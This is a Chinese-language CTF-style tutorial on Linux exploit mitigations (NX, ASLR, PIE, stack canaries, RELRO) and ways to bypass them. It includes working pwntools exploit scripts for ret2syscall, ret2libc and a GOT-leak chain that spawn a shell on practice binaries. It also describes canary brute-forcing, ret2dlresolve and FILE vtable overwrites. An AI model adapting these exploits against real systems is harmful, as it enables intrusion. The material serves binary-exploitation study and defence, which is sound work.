Linux保护技术绕过小结

  • Author:ZERO-A-ONE
  • Date:2020-12-30

一、基础知识

1.1 内存布局

大部分的Linux操作系统的内存布局:

  • .text 汇编代码
  • .data 有初始值的数据
  • .bss 无初始值的数据
  • heap 堆
  • shared object 共享对象区域(libc.so之类的)
  • stack 栈
  • kernel-area 内核区域

在这里插入图片描述

实际大概像这样:

在这里插入图片描述

  • gdb-peda/pwndbg 下可以直接使用vmmap
  • 也可以通过cat /proc/$PID/maps
  • 每行有各种属性(Read,Write,eXec)
    • p是private mapping,变更不会反映在文件上
    • 地址是0x1000的倍数,这个单位被称为”页”
  • 进程启动时,ELF加载确保这样的内存布局
    • 使用mmap()进行确保,并且通过sbrk()来做自动补齐
    • 进程启动后,进程自身也可以使用mmap()来进行追加确保

Tips:

  • 这里是虚拟内存,与物理内存存在差异
  • 物理内存和虚拟内存都与内核相关联,这是一种被称为MMU(Memory Management Unit)的机制
  • 用户程序只能看到虚拟内存,并不需要考虑物理内存

1.2 NX、ASLR、PIE

在这里插入图片描述

这个例子有0x0804XXXX和0xfXXXXXXX两种类型的起始地址,前者在堆之外每次启动不会变化,后者每次启动都会发生改变,这被称为ASLR(Address space layout randomization,地址空间配置随机加载)。

对前者也进行随机化的技术叫做PIE(position-independent executable, 地址无关可执行文件).

这个例子中stack,mapped之类的很多地方都是rwx,也就是说,可以在这些内存区域进行读取,写入和执行。

但是,这样的话安全性较差,因此NX(DEP)会使得text区域没有执行权限

这里需要重点区分一下ASLR和PIE

1.2.1 ASLR

ASLR 是 Linux操作系统的功能选项,作用于程序(ELF)装入内存运行时。是一种针对缓冲区溢出的安全保护技术,通过对加载地址的随机化,防止攻击者直接定位攻击代码位置,到达阻止溢出攻击的一种技术

开启、关闭ASLR

查看当前系统ASLR的打开情况:

sudo cat /proc/sys/kernel/randomize_va_space

ASLR 有三个安全等级:

  • 0: ASLR 关闭
  • 1:随机化栈基地址(stack)、共享库(.solibraries)、mmap 基地址
  • 2:在1基础上,增加随机化堆基地址(chunk)

1.2.2 PIE

PIE 是 gcc 编译器的功能选项,作用于程序(ELF)编译过程中。是一个针对代码段( .text )、数据段( .data )、未初始化全局变量段( .bss )等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过 ROPgadget 等一些工具来帮助解题

开启 PIE:

在使用 gcc 编译时加入参数-fPIE

PIE 开启后会随机化代码段( .text )、初始化数据段( .data )、未初始化数据段( .bss )的加载地址

1.2.3 总结

名称 作用位置 归属 作用时间
ASLR 栈基地址(stack)、共享库(.solibraries)、mmap 基地址、随机化堆基地址(chunk) 系统功能 作用于程序(ELF)装入内存运行时
PIE 代码段( .text )、初始化数据段( .data )、未初始化数据段( .bss ) 编译器功能 作用于程序(ELF)编译过程中

ASLR 不负责代码段以及数据段的随机化工作,这项工作由 PIE 负责。但是只有在开启 ASLR 之后,PIE 才会生效

1.3 RELRO

在这里插入图片描述

使用外部库(共享对象,*.so)时,他们会映射到地址空间的各个位置

如果每次都计算这些库提供的函数地址,这不太方便,计算一次后保存到一个映射表会很方便后续使用

这个表被称为GOT(Global Offset Table,全剧映射表),它存在于地址固定的区域

GOT实际上就在这里,但如果它是可写的,某些情况下如果它被重写,这个表也就变得不值得信任了

因此,我们会使用一种叫做RELRO(Full-RELRO)的技术,在启动时计算所有外部库的所有函数地址,写入GOT中,然后使GOT只读

二、绕过保护

2.1 无保护

➜  ret2shellcode checksec ret2shellcode
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

攻击方法:ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

2.2 NX

2.2.1 NX保护

作用:

在Windows中也被称位DEP,通过现代操作系统的内存保护单元(MPU)机制对程序内存按页的粒度进行权限设置,将数据(堆、栈)所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令

在开启NX保护的程序中不能直接使用shellcode执行任意代码,所有可以被修改写入shellcode的内存都不可执行,所有可以被执行的代码数据都是不可被修改

编译选项:

GCC默认开启NX保护

  • 关闭:-z execstack
  • 开启:-z noexecstack

2.2.2 攻击手段

目前主要的是 ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程

一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

2.2.2.1 ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护

一般是程序里面会有一个后门函数,直接返回到这个后门函数

具体步骤就是:

  • 找到程序的栈溢出函数
  • 计算程序的溢出填充数量
  • 找到后门函数的位置
  • 构造EXP劫持程序执行流到后门函数

2.2.2.2 ret2syscall

不同于上面的情况,如果程序中没有包含可以直接利用的函数,我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

常见步骤:

  • 找到程序的栈溢出函数
  • 计算程序的溢出填充数量
  • 寻找控制寄存器的 gadgets
  • 获得 /bin/sh字符串对应的地址
  • 还有 int 0x80 的地址

面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

2.2.2.3 ret2libc

(1)提供/bin/sh的地址和system的地址:

如果系统中不存在int 0x80的地址,但是存在有system之类的函数地址,且也存在/bin/sh的地址

  • 找到程序的栈溢出函数

  • 计算程序的溢出填充数量

  • 寻找控制寄存器的 gadgets

  • 获得 /bin/sh字符串对应的地址

  • 还有 system 地址的地址

我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

(2)不提供/bin/sh但提供system的地址:

这里的关键是我们需要自行构造/bin/sh字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串写入bss段的buf,第二个控制程序执行 system("/bin/sh")。由于漏洞与上述一致,这里就不在多说,具体的 exp例子如下:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
  • 找到程序的栈溢出函数
  • 计算程序的溢出填充数量
  • 寻找控制寄存器的 gadgets
  • 寻找bss段可写的buf地址
  • 寻找可写入字符串到内存的函数plt地址,例如gets写入/bin/sh
  • 寻找system的plt地址,伪造fake返回地址,返回buf2为参数

2.3 ASLR

ASLR全称:Address Space Layout Randomization

  • 主要是地址随机化

  • 现代Linux内核中默认开启

  • ret2libc成功的原因是,libc之类的读取地址是固定的

  • 因此如果每次运行时,libc之类的地址随机,是一个比较好的方式

  • miao# echo 2 > /proc/sys/kernel/randomize_va_space             
    miao# ldd stack6 | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d94000)
    miao# ldd stack6 | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd4000)
    
  • 如上所示,每次运行地址都不同

2.3.1 思路

ASLR中,并非所有地址都是随机的

  • PLT/GOT之类的地址是固定的,可以利用这一点

在这里插入图片描述

  • 实际的内存映射大概是这样

  • 红框中是固定地址,PLT和GOT在这里
    在这里插入图片描述

  • GOT中存储ASLR随机化后的地址

  • 因此出现了有名的的根据这些信息计算libc地址的方法

2.3.2 GOT leak

  • GOT中包含重要地址

    • printf的外部地址

在这里插入图片描述

  • 如果能够读取更新后的([email protected])这个值,那么就可能计算出libc.so的加载地址
2.3.2.1 例子

如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

exp 如下:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

2.3.3 GOT overwrite

  • 因为GOT位于RW区域,因此可能覆写

    • 使用某种漏洞将printf的GOT替换为另一个地址

在这里插入图片描述

  • 默认情况下可以重写GOT的值。通过某种方式将其修改为其他函数的地址,当调用printf函数的时候会调用修改后的其他函数。这种方式叫做GOT overwrite

2.3.4 NX+ASLR绕过

主要考虑memory leak + ret2plt + GOT overwrite

  • 假设存在栈溢出

  • 通过ret2plt等方式,显示出printf@got的地址(write)

    • 泄漏地址
    • 攻击者可以通过泄漏的地址计算libc的基地址,加上偏移量计算出system的地址

在这里插入图片描述

  • 通过ret2plt等方式,向printf@got读入system的地址(read)

    • 下次调用printf的时候,会实际调用system

在这里插入图片描述

2.3.5 其他的泄漏

除GOT leak之外,其他能够泄漏libc地址的情况:

  • 通过(Stack/Heap)缓冲区溢出读取造成的泄漏
  • 无序参考,负数索引,类型(主要是结构体)的混淆导致的泄漏
  • 字符串末尾无终止字符造成的泄漏
  • 格式化字符串问题
  • Use After Free,Double Free
  • 条件竞争等

通过泄漏想要获取的值:

  • stack区域上__libc_start_main的返回地址
  • 指向bss区域中与libc相关的变量的指针(例如FILE *之类的)
  • 指向堆管理区域(元数据)中的bin/fastbins的指针
    • bin/fastbins无任何连接时适用
  • 与libc相关的所有其他地址

GOT之外其他可写的函数指针:

  • C++ class的vtable(虚函数的虚表)
    • 在C++中,class有method,在内部实现了一个函数指针表
  • .fini_array(旧的.dtor区域)
    • gcc编译具有__attribute__((destructor))的函数时,会在这里注册
  • 由atexit()注册的列表
    • 明确指定析构函数时的函数指针
    • 但是它与Thread Local Storage中奇怪的值XOR(PTR_MANGLE)之后进行注册

2.4 PIE

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题

  • .text区域的地址也进行随机化
  • 所有的汇编代码中不包含绝对地址
  • 全都使用相对地址
  • 二进制文件被加载到内存时,基本是随机映射的
  • 没有可以提前确定的固定地址

在这里插入图片描述

  • 看起来非常严格,因为完全没有固定地址,但如果能够多次利用漏洞,花费时间和精力也能够解决它

  • 通过栈溢出之外的漏洞(例如格式化字符串(FSB),堆溢出)等泄漏的情况比较多

在这里插入图片描述

  • 如果能够知道.text的地址,就能够知道其他例如.data , .bss,.plt,.got.plt 等

  • 如果进一步从.got.plt读取内存,则可以识别libc地址。之后如果能够将其加载到stack上,或者能够重写GOT,就解决了

2.4.1 partial write

partial write就是利用了PIE技术的缺陷。我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程

2.4.2 泄露地址

开启PIE保护的话影响的是程序加载的基地址,不会影响指令间的相对地址,因此我们如果能够泄露出程序或者libc的某些地址,我们就可以利用偏移来构造ROP

2.4.3 ret2vdso/vsyscall

通过查阅资料得知,vsyscall是第一种也是最古老的一种用于加快系统调用的机制,工作原理十分简单,许多硬件上的操作都会被包装成内核函数,然后提供一个接口,供用户层代码调用,这个接口就是我们常用的int 0x80和syscall+调用号

VDSO(Virtual Dynamically-linked Shared Object) 听其名字,大概是虚拟动态链接共享对象,所以说它应该是虚拟的,与虚拟内存一致,在计算机中本身并不存在。具体来说,它是将内核态的调用映射到用户地址空间的库。那么它为什么会存在呢?这是因为有些系统调用经常被用户使用,这就会出现大量的用户态与内核态切换的开销。通过 vdso,我们可以大量减少这样的开销,同时也可以使得我们的路径更好。这里路径更好指的是,我们不需要使用传统的 int 0x80 来进行系统调用,不同的处理器实现了不同的快速系统调用指令

  • intel 实现了 sysenter,sysexit
  • amd 实现了 syscall,sysret

当不同的处理器架构实现了不同的指令时,自然就会出现兼容性问题,所以 linux 实现了 vsyscall 接口,在底层会根据具体的结构来进行具体操作。而 vsyscall 就实现在 vdso 中

这里,我们顺便来看一下 vdso,在 Linux(kernel 2.6 or upper) 中执行 ldd /bin/sh, 会发现有个名字叫 linux-vdso.so.1(老点的版本是 linux-gate.so.1) 的动态文件, 而系统中却找不到它, 它就是 VDSO

当通过这个接口来调用时,由于需要进入到内核去处理,因此为了保证数据的完整性,需要在进入内核之前把寄存器的状态保存好,然后进入到内核状态运行内核函数,当内核函数执行完的时候会将返回结果放到相应的寄存器和内存中,然后再对寄存器进行恢复,转换到用户层模式

这一过程需要消耗一定的性能,对于某些经常被调用的系统函数来说,肯定会造成很大的内存浪费,因此,系统把几个常用的内核调用从内核中映射到用户层空间中,从而引入了vsyscall

通过命令“cat /proc/self/maps| grep vsyscall”查看,发现vsyscall地址是不变的

里面有三个系统调用,根据对应表得出这三个系统调用分别是__NR_gettimeofday、__NRtime、_NR_getcpu

#define __NR_gettimeofday 96
#define __NR_time 201
#define __NR_getcpu 309

这三个都是系统调用,并且也都是通过syscall来实现的,这就意味着我们有了一个可控的syscall

当我们直接调用vsyscall中的syscall时,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错

所以,我们可以直接利用的地址是0xffffffffff600000、0xffffffffff600400、 0xffffffffff600800

程序开启了PIE,无法从该程序中直接跳转到main函数或者其他地址,因此可以使用vsyscall来充当gadget,使用它的原因也是因为它在内存中的地址是不变的

vdso好处是其中的指令可以任意执行,不需要从入口开始,坏处是它的地址是随机化的,如果要利用它,就需要爆破它的地址,在64位下需要爆破的位数很多,但是在32位下需要爆破的字节数就很少

2.5 Stack Canary

  • gcc编译后,stack上有一个canary值
  • 进入函数时,canary被随机设置
  • 退出该函数时(return 前),会验证canary没有被修改
  • 根据之前已经提到的技术,很难突破这一层保护

在这里插入图片描述

2.5.1 brute force

在重新运行二进制文件之前,Stack Canary的值不会更改

  • 对于fork-server类型,只要主进程没有重新启动,canary就是常量

  • 逐个字节进行爆破的话,最多256*4次尝试就能够命中Stack Canary

    • 如果是x64的话需要256*8次,但无论如何都是一个现实的数字
  • 覆盖Stack Canary为正确的值,这样函数返回时,通过检查,正常返回

在这里插入图片描述

2.5.2 master canary forging

  • Stack Canary存储在TLS(Thread local storage)中

    • x86是在gs:0x14,x64是在fs:0x28存在着值

在这里插入图片描述

  • 如果能够重写该值,就能够使Stack Canary无效

    • 将StackCanary修改为想要的值
    • 使用任意内存读写,堆溢出等技术进行覆盖

在这里插入图片描述

  • potetisensei的相关paper

    • http://www.npca.jp/works/magazine/2015_1/

2.6 RELRO

RELRO主要是为了对抗GOT WRITE技术诞生的,设置符号重定向表为只读并在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)表攻击

GOT可以重写会产生问题

  • Full-RELRO使其只读

在这里插入图片描述

  • 这里整个section被设置为只读属性(只能在二进制启动时初始化写入),Full-RELRO (RELocation Read-Only)
  • 编译选项: gcc -Wl,-z,relro,-z,now

2.6.1 ret2dlresolve

  • AVtokyo2014上inaz2公开的一项技术
    • http://www.slideshare.net/inaz2/rop-illmatic-exploring-universal-rop-on-glibc-x8664-ja
    • 利用dl_runtime_resolve和DT_DEBUG在libc中动态查找地址
      • dl_runtime_resolve是PLT用于动态解析外部函数地址的函数
      • 如果提供类似system()的数据,就能够得到system()的地址
    • 详细参考inaz2的博客
      • 通过ROP stager + Return-to-dl-resolve + DT_DEBUG read绕过 ASLR+DEP+RELRO
        • http://inaz2.hatenablog.com/entry/2014/07/20/161106
      • x64环境下通过ROP stager + Return-to-dl-resolve + DT_DEBUG read尝试绕过ASLR+DEP+RELRO
        • http://inaz2.hatenablog.com/entry/2014/07/29/020112
2.6.1.1 原理

在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在

具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了

思路 1 - 直接控制重定位表项的相关内容

由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表 .dynstr,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是,动态字符串表和代码映射在一起,是只读的。此外,类似地,我们可以发现动态符号表、重定位表项都是只读的

但是,假如我们可以控制程序执行流,那我们就可以伪造合适的重定位偏移,从而达到调用目标函数的目的。然而,这种方法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保动态链接器在解析的过程中不会出错

思路 2 - 间接控制重定位表项的相关内容

既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的

思路 3 - 伪造 link_map

由于动态连接器在解析符号地址时,主要依赖于 link_map 来查询相关的地址。因此,如果我们可以成功伪造 link_map,也就可以控制程序执行目标函数

2.6.2 _IO_jump_t overwrite

  • 当bss中有stdin/stdout等时有效

    • 瞄准全局变量FILE*指针

在这里插入图片描述

  • http://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

  • FILE函数指针指向处有一个函数表

  • 覆盖函数表,当调用例如_IO_file_close()时会调用shellcode或者ROP

  • 即使全局变量中没有fd,libc.so中总会有一个bss

在这里插入图片描述

三、参考文章

猜你喜欢

转载自blog.csdn.net/kelxLZ/article/details/112000136